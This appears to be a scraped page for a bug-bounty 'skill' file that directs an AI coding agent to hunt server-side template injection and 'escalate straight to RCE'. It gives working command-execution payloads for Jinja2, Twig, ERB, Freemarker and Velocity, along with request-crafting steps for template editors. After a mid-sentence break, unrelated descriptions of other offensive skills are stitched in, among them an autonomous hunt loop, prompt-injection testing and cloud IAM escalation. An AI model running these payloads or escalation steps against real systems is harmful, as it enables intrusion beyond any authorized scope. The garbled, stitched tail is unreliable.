hunt-ssti
The hunt-ssti skill detects server-side template injection vulnerabilities across nine template engines (Jinja2, Twig, Freemarker, ERB, Spring, Velocity, Mako, Thymeleaf, Smarty) using mathematical probe expressions that reveal the engine type and expression evaluation capability. Use this skill when testing endpoints that render user-controlled input through templates, such as email generators, PDF reports, CMS previews, and error pages, to identify and escalate template injection vulnerabilities to remote code execution.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-ssti && cp -r /tmp/hunt-ssti/skills/hunt-ssti ~/.claude/skills/hunt-sstiSKILL.md
## Autonomous Testing Priority
**Escalate straight to RCE — don't stop at arithmetic detection.**
Arithmetic probes (`{{7*7}}→49`) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like `<input value="{{7*7}}">`), producing a false negative even when injection exists.
**Order of attack:**
1. **Try Jinja2 RCE first** (covers Python/Flask — the most common stack in modern web apps):
```
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```
2. **If the endpoint is a traditional web form**, send as form-encoded body — NOT JSON:
```
Content-Type: application/x-www-form-urlencoded
field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```
JSON bodies are silently ignored by form-processing endpoints (`request.form['field']` sees nothing).
3. **If Jinja2 fails**, try Twig (PHP/Symfony): `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}`
4. **Fall back to arithmetic detection** only to fingerprint the engine when RCE payloads fail.
**Proof:** Command output (`uid=N(user) gid=...`) in the response confirms RCE. If the output appears in HTML (inside a `<div>` or `<pre>`), that still counts — the format is irrelevant, the content is the evidence.
---
## 14. SSTI — SERVER-SIDE TEMPLATE INJECTION
> Easy to detect, high payout ($2K–$8K). Direct path to RCE.
### Detection Payloads (try all)
```
{{7*7}} → 49 = Jinja2 / Twig
${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %> → 49 = ERB (Ruby)
*{7*7} → 49 = Spring Thymeleaf
{{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
```
### RCE Payloads
**Jinja2 (Python/Flask):**
```python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```
**Twig (PHP/Symfony):**
```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```
**ERB (Ruby):**
```ruby
<%= `id` %>
```
### Length-constrained injection fields (profile name, display name, subject)
When the injectable field caps input length (a profile-name / display-name field is often ≤30-64 chars), the full `os.popen` one-liner won't fit — but detection and class-enumeration still do. Confirm with the short probe, then enumerate the gadget index in stages instead of one payload:
```python
{{ '7'*7 }} # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}
```
The reflected sink is frequently an **outbound email** (the account-update / confirmation mail rendering your name), not the web page — read the email body for the evaluated output. Disclosed: reports/125980 (profile-name → Jinja2 → confirmation email, length-limited).
### Where to Test
```
Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected
```
### CMS / "documentation" template-editor forms (authenticated)
Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template
preview). PortSwigger's *"SSTI using documentation"* class is this shape. Three things break a naive attempt:
1. **Fingerprint BEFORE firing RCE — the engine decides the syntax.** Do NOT assume Jinja2. Probe the
whole matrix and read which one evaluates:
```
${7*7} → 49 AND #{7*7} → 49 ⇒ Freemarker (Java) ← {{7*7}} does NOTHING here
{{7*7}} → 49 ⇒ Jinja2 / Twig
<%= 7*7 %> → 49 ⇒ ERB (Ruby)
*{7*7} → 49 ⇒ Thymeleaf (Spring)
```
If `{{7*7}}` renders literally but `${7*7}`→49, you are on **Freemarker** — stop sending `{{config...}}`.
2. **The record id is usually a QUERY param, not a body field.** The editor form posts back to
`POST /…/template?productId=N` with the id in the URL. The BODY carries only
`csrf`, `template`, and a `template-action` (`preview` | `save`). Putting the id in the body returns
`400 "Missing product id"`. So keep the id in the query string (`?productId=N`) AND send a
form-encoded body of `csrf=…&template=<PAYLOAD>&template-action=preview`.
3. **Re-fetch the CSRF each time and use `preview` to iterate.** GET the editor page to read a *fresh*
`csrf` hidden field; `template-action=preview` renders your payload WITHOUT persisting (fast feedback
loop). Switch to `template-action=save` only once the payload is right, then trigger the render
(load the public page that uses the template) to fire the command.
**Freemarker documentation RCE** (the documented `Execute` utility — this IS the intended technique):
```
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
```
Velocity equivalent: `#set($e="e");$e.getClass().forName("java.lang.Runtime")...`.
---
## Related Skills & Chains
- **`hunt-rce`** — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2 `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` or Freemarker `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}` → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.
- **`hunt-xss`** — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same `{{7*7}}` reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject `<script>` into rendered email template → stored XSS hitting every recipient who views the message.
- **`hunt-ssrf`** — TempEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.